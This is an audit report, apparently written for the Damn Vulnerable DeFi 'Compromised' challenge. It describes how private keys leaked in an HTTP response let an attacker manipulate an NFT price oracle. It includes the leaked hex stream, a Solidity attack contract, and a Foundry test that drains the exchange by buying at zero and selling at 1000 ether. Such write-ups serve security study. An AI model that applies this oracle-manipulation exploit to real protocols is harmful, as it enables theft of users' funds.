The Compromised Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `The Compromised`

Date: August 08, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe, but hold no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	Critical	High	Medium	Low
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `DamnValuableNFT.sol`
- `Exchange.sol`
- `TrustfulOracle.sol`
- `TrustfulOracleInitializer.sol`

4 Protocol Summary

`The Compromised`, a related on-chain exchange is selling collectibles (absurdly overpriced) called "DVNFT", now at 999 ETH each. The price of collectibles is obtained from an on-chain oracle, based on 3 trusted reporters that later were compromised.

4.1 Roles

- **Exchange** Allows users to buy and sell the collectibles.
- **TurstfulOracle** Used to update the prices of collectibles.

5 Executive Summary

The Compromised smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count
Critical	1
Total	**1**

6 Findings

6.1 Critical Severity

6.1.1 [C-1] Private Key Leak Leading to Oracle Manipulation

- **Description:**An HTTP request revealed a suspicious hex value stream, which a malicious actor decoded into private keys. These keys belong to two of the three NFT oracle validators responsible for updating NFT prices. The `Exchange` contract uses these prices as an oracle for buying and selling NFTs. A malicious user can exploit these private keys to set the NFT price to 0, purchase the NFT for 0.1 ETH, immediately update the price to a high value, and then sell the NFT back to the exchange, profiting significantly in ETH.

```
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a
    67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49
    34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b
    59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7
    a 51 30

4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a
    51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49
    35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4
    d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54
     55 35
```

Manipulated Function in `TrustfulOracle.sol`

```

function postPrice(string calldata symbol, uint256 newPrice)
    external onlyRole(TRUSTED_SOURCE_ROLE) {
     _setPrice(msg.sender, symbol, newPrice);
}

function _setPrice(address source, string memory symbol, uint256
    newPrice) private {
     uint256 oldPrice = _pricesBySource[source][symbol];
     _pricesBySource[source][symbol] = newPrice;
```

```
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }
```

- **Impact:** An attacker decoded the hex stream into private keys and manipulated the oracle price for NFTs, enabling significant financial gain through price manipulation.

  Attack Contract:

```
contract Attack {
    TrustfulOracle oracle;
    Exchange exchange;
    uint256 tokenId;

    constructor(TrustfulOracle _oracle, Exchange _exchange) {
        oracle = _oracle;
        exchange = _exchange;
    }

    function buy() public {
        tokenId = exchange.buyOne{value: 0.1 ether}();
    }

    function sell() public {
        exchange.token().approve(address(exchange), tokenId);
        exchange.sellOne(tokenId);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}
```

- **Cause:** Leakage of private keys due to insecure storage or exposure via HTTP response, allowing unauthorized control over oracle price updates.

- **Recommended Mitigation:**
  1. Always secure private keys properly.
  2. Avoid using `.env` files for sensitive data.
  3. Do not store private keys online or in publicly accessible locations.
  4. Implement multi-signature wallets or other secure key management practices.

- **Proof of Concept:**
  1. The attacker receives the hex stream via HTTP.
  2. Decodes the hex stream to obtain private keys.
  3. Manipulates the oracle NFT price.
  4. Buys the NFT at a low price (0.1 ETH).
  5. Instantly updates the oracle price to a high value.

6. Sells the NFT at the high price on the exchange.

Run the code in `Exchange.t.sol`:

```
function testAttack() public {
    // Assume the attacker decoded the data and obtained private
       keys
    // source1 and source2 are the validators the attacker now
       controls
    vm.startPrank(source1);
    trustfulOracle.postPrice("DVNFT", 0);
    vm.startPrank(source2);
    trustfulOracle.postPrice("DVNFT", 0);

    vm.deal(address(attacker), 10 ether);
    vm.startPrank(address(attacker));
    attacker.buy();
    vm.stopPrank();

    vm.startPrank(source1);
    trustfulOracle.postPrice("DVNFT", 1000 ether);
    vm.startPrank(source2);
    trustfulOracle.postPrice("DVNFT", 1000 ether);

    vm.startPrank(address(attacker));
    attacker.sell();
    vm.stopPrank();

    console2.log(address(attacker).balance); // 1.01e21
    console2.log(address(exchange).balance); // 0
}
```

The End